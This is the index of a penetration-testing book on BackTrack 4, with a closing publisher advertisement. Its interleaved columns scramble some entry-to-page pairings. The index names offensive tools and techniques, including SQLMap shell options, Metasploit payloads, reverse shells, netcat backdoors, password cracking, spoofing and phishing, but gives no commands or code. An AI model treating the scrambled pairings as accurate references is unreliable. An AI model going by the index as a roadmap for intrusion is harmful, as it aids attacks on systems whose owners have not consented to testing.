Symbols Nessus vulnerability scanner 30, 31
WebSecurify 31
0trace ADMSnmp
about 86 about 183
accessing 87 starting 183
3proxy advanced exploitation toolkit
about 311 about 241
features 311 MSFCLI 244
running 312 MSFConsole 242
using 311, 312 Ninja 101 drills 246
-all option 195 all-in-one intelligence gathering
--column option 193 about 96
-crawl option 195 Maltego 96
--database option 192 Amap
--data option 192 about 152
--dump all option 199 starting 152
--dump option 199 using 153
-evasion option 208 AMap 166
-exploit switch 195 application assessment tools
--msf-path option 199 about 202
-mutate option 208 Burp Suite 202-204
--os-cmd option 199 Grendel Scan 204, 205
--os-pwn option 199 LBD 206
--os-shell option 199 Nikto2 207, 208
--os-smbrelay option 199 Paros Proxy 209, 210
--post_content option 195 Ratproxy 210, 211
--priv-esc option 199 W3AF 212, 214
--server option 192 WAFW00F 214
--time option 193 WebScarab 215, 216
-url option 195 application layer, OWASP 46
apt-get 25
A apt-get dist-upgrade command 26
apt-get upgrade command 25
access maintaining, testing methodology 55 arping2 tool 112
ACK flag 129 arping tool 111, 112
additional software tools arping tool
installing 29, 30 accessing 111
Arpspoof target exploitation 237
about 298 testing methodology 51
starting 299 updating 24
working 299 using 12
attack methods, social engineering using, as Live DVD 12
about 221 BackTrack 4 VMWare image 15
impersonation 221 BackTrack console
influential authority 222 input 169, 170
reciprocation 222 output 169, 170
scarcity 223 BackTrack ISO image 19
social relationship 223 BED
attack process, social engineering about 173, 174
attack, planning 221 starting 173
execution 221 Binary Auditing 238
intelligence gathering 220 binary backdoor
vulnerable points, identifying 221 generating 264
audit scope, OSSTMM 42 bind shell 253
automated browser exploitation 265, 267 black-box testing
about 38
B applying 38
black-hat 38
BackTrack BlindElephant
about 9, 24, 51 about 339
additional software tools, installing 29 installing 340, 341
customizing 32-34 blind testing 42
downloading 11, 12 Broken Authentication and Session
drawback 32 Management 47
end-to-end connection 313 Bruteforce Exploit Detector. See BED
functionalities 9 BruteSSH
history 9 about 287
information gathering 73 starting 288
installing, in real machine 13 Bunny
installing, in VirtualBox 14-19 about 175
installing, to hard disk 13 starting 175
kernel, updating 26-29 bunny-trace utility 176
network connection, configuring 21 Burp Suite
network sniffers 289 about 202-204
network spoofing tools 298 starting 202
NeXpose community, installing 334 business objectives, target scoping
penetration testing tool 9 defining 68
Portable BackTrack 19
privilege escalation 275
protocol tunneling tools 305
C
proxy 311 CAT
resources, for installation 13 about 169, 170
social engineering 219 options 169
software applications, updating 25 starting 169
target discovery process 109
[ 358 ]
CGE Common User Passwords Profiler.
about 170, 171 See CUPP
starting 171 Common Weakness Enumeration
channel, OSSTMM 42 (CWE) 164
check () function 271 cross reference view 50
Cisco analysis Cross-Site Request Forgery (CSRF) 47
about 169 cross-site request forgery (XSRF) 210
CAT 169, 170 Cross-Site Scripting (XSS) 47, 202
CGE 170, 171 Crunch
Cisco Passwd Scanner 172 about 285
Cisco Auditing Tool. See CAT starting 285
Cisco Global Exploiter. See CGE CryptCat
Cisco Passwd Scanner about 313
about 172 starting 314
starting 172 cryptcat command 313
Cisco products 169 CUPP
client requirements, target scoping about 234, 235
customer requirements form 63 starting 234, 235
deliverables assessment form 64 customer requirements form, target
gathering 62 scoping 63
cmsdb database 192 CWR flag 129
Code Review Guide
URL 47 D
commands, MSFConsole
check 244 database assessment tools
connect ip port 244 about 188
exploit 244 DBPwAudit 189
info module 244 Pblind 190
Jobs 244 SQLbrute 191-193
route add subnet netmask sessionid 244 SQLiX 194, 195
Run 244 SQLMap 196-199
search string 244 SQL Ninja 199-201
sessions 244 database management systems (DBMS) 196
setg param value 244 DBPwAudit
set param value 244 about 189
show advanced 243 starting 189
show auxiliary 243 DCE/RPC 180
show encoders 243 Decompilers 239
show exploits 243 deliverables assessment form, target scop-
show nops 243 ing 64
show options 243 design vulnerabilities 162
show payloads 243 Developer's Guide
show targets 243 URL 47
unsetg param 244 development view 50
unset param 244 Disassemblers 239
use module 244 Distributed Computing Environment / Re-
Common Internet File System (CIFS) 180 mote Procedure Calls. See DCE/RPC
[ 359 ]
dmitry accessing 102
about 88 features 102
accessing 89 report, generating 105, 106
example 89, 90 running 102-104
DNS2tcp sample penetration testing template 105
about 306 Dradis interface 104
starting 306, 307 Dsniff
dnsenum tool about 290
about 79 starting 290
accessing 79
example 79-81 E
DNS information
about 77 ECE flag 129
dnsenum tool 79 ECHO_REQUEST packets 110
dnsmap tool 81, 83 end-to-end connection 313
dnsrecon tool 84 end-to-end connection tools
dnswalk tool 78 CryptCat 313
fierce tool 85 Sbd 314
dnsmap-bulk script 83 Socat 315
dnsmap-bulk tool entities, Maltego
about 83 infrastructure 98
accessing 83 pentesting 98
dnsmap directory 83 personal 98
dnsmap tool wireless 98
about 81 enumeration view 49
accessing 81 ethernet setup 21, 22
example 82-84 ethical view, penetration testing 55
dnsrecon tool Ettercap
about 84 about 300
accessing 84 starting 301, 302
DNS spoofing attack examples, Metasploit Framework
steps 303, 304 auxiliaries, illustrating 248
dnswalk tool client-side exploitation 263
about 78 common payloads, using 252
accessing 78, 79 exploits, applying against target 261-263
example 78 using, for port scanning 246, 248
DNS zone transfer 78 examples, penetration testing 55
documentation, penetration testing 322 executive report
documentation, testing methodology 55 about 323
document gathering 75 executive summary 323
document gathering tools project objective 323
Metagoofil 75 risk matrix 324
domain information statistics 323
gathering 99, 101 vulnerability risk classification 323
double blind testing 42 exploitability and payload construction 239
double gray box testing 42 exploit module
Dradis writing 268-272
about 102 external testing 38
[ 360 ]
F H
Failure to Restrict URL Access 48 Hamster
fanart database 198 about 291
FastTrack Schedule starting 291-293
URL 69 HashTab 11
fierce tool help command 212
about 85 hping2 tool
accessing 85 about 116
example 85 accessing 116, 117
FIN flag 129 hping3 tool
Fortify Software Security 164 about 117
fping tool accessing 118
about 113 Httprint
accessing 113, 115 about 153
fuzzy analysis starting 154
about 173 Httprint GUI
BED 173, 174 starting 154
Bunny 175-177 Httsquash
JBroFuzz 177-179 about 155
steps 173 starting 155
Hydra
G about 288
starting 288
genlist tool
about 115 I
accessing 115
GetDNSNames transforms 100 icmp_amask 125
Google Hacking Database (GHDB) 196 icmp_echo 125
goorecon icmp_ping 125
about 93 icmp_port_unreach 125
accessing 93, 94 icmp_tstamp 125
gparted id parameter 195
URL 13 IIS6 WebDAV unicode auth bypass 251, 252
GrammaTech 164 ike-scan
gray box testing 42 about 157, 166
Greenbone Security Assistant 165 capabilities 157
Grendel Scan features 157
about 204, 205 Impacket Samrdump
starting 205 about 180, 181
Grey-Box testing 39 starting 180
grey-hat 39 impersonation, attack methods 221
GRUB (GRand Unified Boot Loader) boot index, OSSTMM 42
loader 28 influential authority, attack methods 222
GSA Desktop 165 information
documenting, Dradis used 101
information gathering
about 73
[ 361 ]
all-in-one intelligence gathering 96 accessing 118, 119
DNS information 77 layout algorithms, Maltego
document gathering 75 block layout 99
public resources 74 centrality layout 99
route information 86 hierarchical layout 99
search engine, utilizing 93 organic layout 99
information gathering, testing LBD
methodology 52 about 206
Information Systems Security Assessment starting 206
Framework. See ISSAF Ldapsearch 166
Injection 47 Linux Live CDs
Insecure Cryptographic Storage 48 gparted 13
Insecure Direct Object References 47 SystemRescueCD 13
instrumented tools, vulnerability Load Balancing Detector. See LBD
research 239 local vulnerability 162, 163
Insufficient Transport Layer Protection 48
internal testing 39 M
inter-process communication (IPC) 180
IPSec-based VPN 156 Maltego
ISSAF about 96
about 44, 45 accessing 97
benefits 45 benefits 96
key features 45 entities 98
URL 44 layout algorithms 99
itrace 90 limitations 97
views 98
J Management Information Bases (MIBs) 182
management report
JBroFuzz about 324
about 177-179 assumptions and limitations section 324
starting 178 change management 324
John compliance achievement 324
about 282 configuration management 324
password cracking modes 282 testing methodology 324
starting 282 MD5 hash value 11
md5sum command 11, 335
K Metagoofil
about 75
kernel, BackTrack accessing 75, 77
updating 26-29 example 76
Klocwork 164 working 75
kview program 177 Metasploit Framework
KWallet password management 181 about 199, 241
examples 246
L URL 241
meterpreter
lanmap tool
about 255
about 118
using 256-260
[ 362 ]
Microsoft Office Project Professional about 341
URL 69 Netcat 341
modules, xprobe2 tool Network Basic Input Output System.
icmp_amask 125 See NetBIOS
icmp_echo 125 network connection configuration
icmp_ping 125 about 21
icmp_port_unreach 125 ethernet setup 21, 22
icmp_tstamp 125 network service, starting 24
portscan 125 wireless setup 22, 23
smb 125 network penetration testing report 326, 327
snmp 125 network ports
tcp_hshake 125 about 350-355
tcp_ping 125 online resources 350
tcp_rst 125 network service
ttl_calc 125 starting 24
udp_ping 125 network sniffers
MSFCLI about 289
about 244 Dsniff 290
accessing 245 Hamster 291
MSFConsole Tcpdump 294
about 242, 243 Tcpick 295
commands 243, 244 Wireshark 296
network spoofing tools
N about 298
Arpspoof 298
NAT (Network Address Translation) 21 Ettercap 300
nbtscan tool Network Vulnerability Tests (NVT) 165
about 119 NeXpose community
accessing 120 about 334
Nessus features 334
configuring 30 installing 334, 335
downloading 31 logging in 336
URL 30 NeXpose Scan Engine 334
Nessus vulnerability scanner 30 NeXpose Security Console 334
NetBIOS 180 starting 335, 336
Netcat using 336, 337
about 341 NeXpose installer
backdoor shell 344 downloading 334
features 341 Nikto 166
file transfer 343 Nikto2
open connection 342 about 207, 208
portscanning 344 starting 207
reverse shell 345 Ninja 101 drills 246
service banner grabbing 342 NMap 166
simple server 343 nping tool 121
netcat backdoor 201
network ballista
[ 363 ]
O operational vulnerabilities 162
Ophcrack
Object Identifier (OID) 182 about 284
offline attack tools starting 284
Crunch 285 ophcrack GUI page 285
John 282 OS fingerprinting
Ophcrack 284 about 122
Rainbowcrack 277 active method 123
Samdump2 280 passive method 123
Wyd 286 tools 123
onesixtyone tool OS fingerprinting, tools
about 122 p0f tool 123
accessing 122 xprobe2 124
online attack tools OSSTMM
about 287 about 42
BruteSSH 287 audit scope 42
Hydra 288 benefits 43
online resources channel 42
paid incentive programs 349 index 42
Reverse Engineering Resources 349 key features 43
vulnerability disclosure program 347 scope 42
vulnerability research 347 standard security test types 42
vulnerability tracking 347 technical assessment framework 43
Open Source Security Testing Methodology URL 42
Manual. See OSSTMM vector 42
Open Source Vulnerability Database Ounce Labs 164
URL 347 Ovaldi 166
OpenVAS OWASP
about 165 about 46
core components 165 application layer 46
security tools 166 benefits 48
setting up 166-168 key features 48
OpenVAS Administrator 165 security auditors 46
OpenVAS CLI 165 OWASP CLASP 164
OpenVAS Client 165 OWASP Top 10 164
OpenVAS Management Protocol (OMP)
165 P
OpenVAS Manager 165
OpenVAS Scanner 165 p0f tool 123, 124
OpenVAS Transfer Protocol (OTP) 165 paid incentive programs
OpenVPN 156 online resources 349
Open Vulnerability Assessment System. Paros Proxy
See OpenVAS about 209, 210
Open Web Application Security Project. starting 209
See OWASP password
Open Workbench attacking 276
URL 69 password attack
about 276
[ 364 ]
offline attack 276 portable BackTrack
offline attack tools 277 about 19
online attack 276 advantage 19
password cracking modes, John creating 19, 20
external mode 283 prerequisites 19
incremental mode 282 Portbunny 166
single crack mode 282 portscan 125
wordlist mode 282 port scanning
passwords.txt file 189 about 127
paterva.com 99 AutoScan 131-133
Pblind Netifera 134, 136
about 190 Nmap 136, 137
starting 190 Unicornscan 147, 148
penetration testing Zenmap 148
about 37 post testing procedures, penetration
black-box testing 38 testing 328
documenting 322 presentation, penetration testing 327
ethical view 55 private community 184
examples 55 privilege escalation
post testing procedures 328 about 54, 275
presentation 327 password, attacking 276
process 38 privilege escalation, testing
reports, types 323 methodology 54
results, verifying 322 programming skills, vulnerability
supplementary tools 333 research 238
types 38 Project KickStart Pro
white-box testing 39 URL 69
penetration testing tools, BackTrack project management, target scoping 69
about 9 project management tools, target scoping
categorizing 9 FastTrack Schedule 69
penetration testing tools, categories Microsoft Office Project Professional 69
digital forensics 10 Open Workbench 69
information gathering 10 Project KickStart Pro 69
maintaining access 10 Serena OpenProj 69
network mapping 10 TaskJuggler 69
penetration 10 TaskMerlin 69
privilege escalation 10 TimeControl 69
radio network analysis 10 proof-of-concept. See PoC
VOIP 10 protocol tunneling 305
vulnerability identification 10 proxy 311
web application analysis 10 Proxychains
PenTest 37 about 312
phishing 221 examples 312
ping command 110 running 313
ping tool 110, 111 proxy tools
pnscan 166 3proxy 311
PoC 163 Proxychains 312
[ 365 ]
PSH flag 129 management report 324
Ptunnel network penetration testing report 326
about 307 technical report 325
starting 307 types 323
using 308 results verification, penetration testing 322
public community 184 reversal testing 43
public resources Reverse Engineering Resources
about 74 online resources 349
http://centralops.net/ 74 reverse engineering, vulnerability
http://serversniff.net/ 74 research 238
http://wink.com/ 74 reverse shell 254
http://www.alexa.com/ 74 routing information
http://www.archive.org 74 0trace 86
http://www.domaintools.com/ 74 acquiring 86
http://www.isearch.com/ 74 dmitry 88
http://www.pipl.com/ 74 itrace 90
http://www.robtex.com 74 tcpraceroute 91
http://www.sec.gov/edgar.shtml 74 tctrace 92
http://www.tineye.com 74 RST flag 129
http://yoname.com 74 rtgen
about 277
R starting 278
rtsort
Rainbowcrack 277 about 277
Rainbowcrack tools starting 279
rcrack 277
rtgen 277 S
rtsort 277
Ratproxy SAM 180
about 210, 211 Samdump2
starting 210 about 280
RAV (Risk Assessment Values) starting 281
about 43 sample penetration testing template,
function 43 Dradis 105
RAV Score Sbd
about 43 about 314
using 43 features 315
rcrack starting 315
about 277 scarcity, attack methods 223
starting 280 scheduling, target scoping 69
README file 189 scope, OSSTMM 42
reciprocation, attack methods 222 search engine tools
remote vulnerability 163 goorecon 93
reporting, testing methodology 55 theharvester 95
reports Seccubus 166
about 323 Security Account Manager. See SAM
executive report 323 security assessment tools
[ 366 ]
Common Weakness Enumeration about 152
(CWE) 164 Amap 152
Fortify Software Security 164 Httprint 153
GrammaTech 164 Httsquash 155
Klocwork 164 SET
Ounce Labs 164 about 224, 225
OWASP CLASP 164 targeted phishing attack 225-230
OWASP Top 10 164 user credentials, gathering 230-233
Seven Pernicious Kingdoms 164 Seven Pernicious Kingdoms 164
WASC Threat Classification 164 shellcodes 239
security auditors, OWASP Simple Network Management Protocol.
Code Review Guide 47 See SNMP
Developer's Guide 47 Slad 166
Testing Guide 47 smb 125
security metrics 43 SMB 180
Security Misconfiguration 48 Smb4k
security testing methodologies about 181, 182
about 41 starting 182
ISSAF 44 SMB analysis
OSSTMM 42 Impacket Samrdump 180, 181
OWASP 46 Smb4k 181, 182
WASC-TC 49 snmp 125
security test types, OSSTMM SNMP 182
blind 42 SNMP analysis
double blind 42 ADMSnmp 183, 184
double gray box 42 Snmp Enum 184-186
gray box 42 SNMP Walk 186-188
reversal testing 43 SNMP community scanner 248, 250
tandem testing 43 Snmp Enum
security tools, OpenVAS about 184-186
AMap 166 starting 184
ike-scan 166 Snmpwalk 166
Ldapsearch 166 SNMP Walk
Nikto 166 about 186, 187
NMap 166 starting 186
Ovaldi 166 URL, for info 188
pnscan 166 Socat
Portbunny 166 about 315
Seccubus 166 address types 315-318
Slad 166 starting 316
Snmpwalk 166 social engineering
Strobe 166 about 219
w3af 166 attack methods 221
Serena OpenProj attack process 220
URL 69 human psychology 220
Server Message Block. See SMB social engineering, testing methodology 54
service enumeration Social Engineering Toolkit. See SET
[ 367 ]
social relationship, attack methods 223 target exploitation
software applications, BackTrack about 237
updating 25 advanced exploitation toolkits 241
Source Code Auditing 238 vulnerability and exploit repositories 240
spoofing service 222 vulnerability research 238
SQLbrute target exploitation, testing methodology 54
about 191, 192 target machine
starting 191, 194 arping2 tool 112
SQL injection tool 191 arping tool 111, 112
SQLiX 194 fping tool 113
SQLMap genlist tool 115
about 196-199 hping2 tool 116, 117
starting 196 hping3 tool 117
SQL Ninja identifying 110
about 199-201 lanmap tool 118, 119
starting 199 nbtscan tool 119, 121
SSL-based VPN 156 nping tool 121
STAR (Security Test Audit Report) onesixtyone tool 122
template 44 ping tool 110, 111
Strobe 166 target scoping
Stunnel4 about 61, 62
about 308 business objectives, defining 68
starting 308 client requirements, gathering 62
using 309-311 project management 69
supplementary tools, penetration testing scheduling 69
about 333 test boundaries, profiling 67, 68
network ballista 341 test plan, preparing 64, 66
vulnerability scanner 333 target scoping, testing methodology 52
web application fingerprinter 338 TaskJuggler
SystemRescueCD URL 69
URL 13 TaskMerlin
URL 69
T TCP
about 127
tandem testing 43 ACK flag 129
target discovery process characteristics 128
about 109 FIN flag 129
OS fingerprinting 122 PSH flag 129
target machine, identifying 110 RST flag 129
target discovery, testing methodology 53 SYN flag 129
targeted phishing attack, SET 225-230 URG flag 129
target enumerating, testing methodology 53 Tcpdump
target enumeration about 294
about 127 starting 294
port scanning 127 tcpdump command 86
service enumeration 152 tcp_hshake 125
VPN enumeration 156 Tcpick
[ 368 ]
about 295 structured testing process 65
starting 295 tests directory 176
tcp_ping 125 theharvester
tcp_rst 125 about 95
TCP segment 128 accessing 95
tcptraceroute TimeControl
about 91 URL 69
accessing 91, 92 tools, OS fingerprinting
advantages 91 p0f tool 123
tctrace xprobe2 124
about 92 torrent file 11
accessing 93 traceroute command 87
running 93 ttl_calc 125
technical report tunneling 305
about 325 tunneling tools
best practices 326 DNS2tcp 306
exploits map 325 Ptunnel 307
security issues 325 Stunnel4 308
vulnerabilities map 325
test boundaries, target scoping U
infrastructure restrictions 67
knowledge limitations 67 udp_ping 125
profiling 67, 68 UNetbootin 19
technology limitations 67 unshadow command 283
Testing Guide Unvalidated Redirects and Forwards 48
URL 47 updated BackTrack ISO image
testing methodology, BackTrack creating 33, 34
about 51 URG flag 129
access, maintaining 55 USB flash disk 19
documentation 55 user credentials, SET
information gathering 52 gathering 230-233
privilege escalation 54 user-defined function (UDF) injection 196
reporting 55 users.txt file 189
social engineering 54
target discovery 53 V
target, enumerating 53
vector, OSSTMM 42
target exploitation 54
version() function 191
target scoping 52
views, Maltego
vulnerability mapping 53
centrality view 98
test plan, target scoping
edge weighted view 98
checklist 66
Vim editor 170
cost analysis 65
VirtualBox
Non-disclosure Agreement (NDA) 65
about 15
penetration testing contract 65
URL 15
preparing 64
virtual environment 11
resource allocation 65
VNC blank authentication scanner 250, 251
rules of engagement 66
[ 369 ]
VPN vulnerability scanner
IPSec-based VPN 156 NeXpose community edition 334
OpenVPN 156 vulnerability taxonomy 164
SSL-based VPN 156 vulnerability tracking
VPN enumeration 156 online resources 347, 348
vulnerability vulnerability, types
about 163 design 162
types 162 implementation 162
vulnerability and exploit repositories local 162, 163
BugReport 240 operational 162
Bugtraq SecurityFocus 240 remote 163
Government Security Org 240
Hack0wn 241 W
Inj3ct0r 241
Intelligent Exploit Aggregation w3af 166
Network 241 W3AF
ISS X-Force 240 about 212, 214
MediaService Lab 240 starting 212
National Vulnerability Database 240 WAFW00F
Offensive Security Exploits Database 240 about 214
OSVDB Vulnerabilities 240 starting 214
Packet Storm 240 WASC-TC
SEBUG 240 about 49
Secunia Advisories 240 benefits 50
SecuriTeam 240 cross reference view 50
Security Reason 240 development view 50
Security Vulnerabilities Database 240 enumeration view 49
US-CERT Alerts 240 features 50
US-CERT Vulnerability Notes 240 reference link 50
VUPEN Security 240 WASC Threat Classification 164
XSSed XSS-Vulnerabilities 240 web application analysis
vulnerability assessment about 188
about 40, 161 application assessment tools 202
differentiating, with penetration testing 40 database assessment tools 188
vulnerability disclosure program web application fingerprinter
online resources 347, 348 BlindElephant 339
vulnerability management program 161 WhatWeb 338
vulnerability mapping 161 web application firewall (WAF) 214
vulnerability mapping, testing Web Application Security Consortium
methodology 53 Threat Classification. See WASC-TC
vulnerability research WebScarab 215, 216
about 238 WebScarab Lite
exploitability and payload construction 239 starting 215
instrumented tools 239 WebSecurify
programming skills 238 about 31
reverse engineering 238 downloading 32
[ 370 ]
WhatWeb Wyd
about 338 about 286
installing 338, 339 starting 286, 287
white-box testing
about 39 X
applying 39
white-hat 39 XPath injections 212
wireless setup 22, 23 xp_free_small tables 285
Wireshark xprobe2 tool
about 296 about 124
features 296 accessing 124
starting 296-298 modules 124
[ 371 ]
Thank you for buying
BackTrack 4: Assuring Security by Penetration Testing
Our books and publications share the experiences of your fellow IT professionals in adapting
and customizing today's systems, applications, and frameworks. Our solution based books
give you the knowledge and power to customize the software and technologies you're using
to get the job done. Packt books are more specific and less general than the IT books you have
seen in the past. Our unique business model allows us to bring you more focused information,
giving you more of what you need to know, and less of what you don't.
Packt is a modern, yet unique publishing company, which focuses on producing quality,
cutting-edge books for communities of developers, administrators, and newbies alike. For
more information, please visit our website: www.packtpub.com.
Spring Security 3
ISBN: 978-1-847199-74-4 Paperback: 396 pages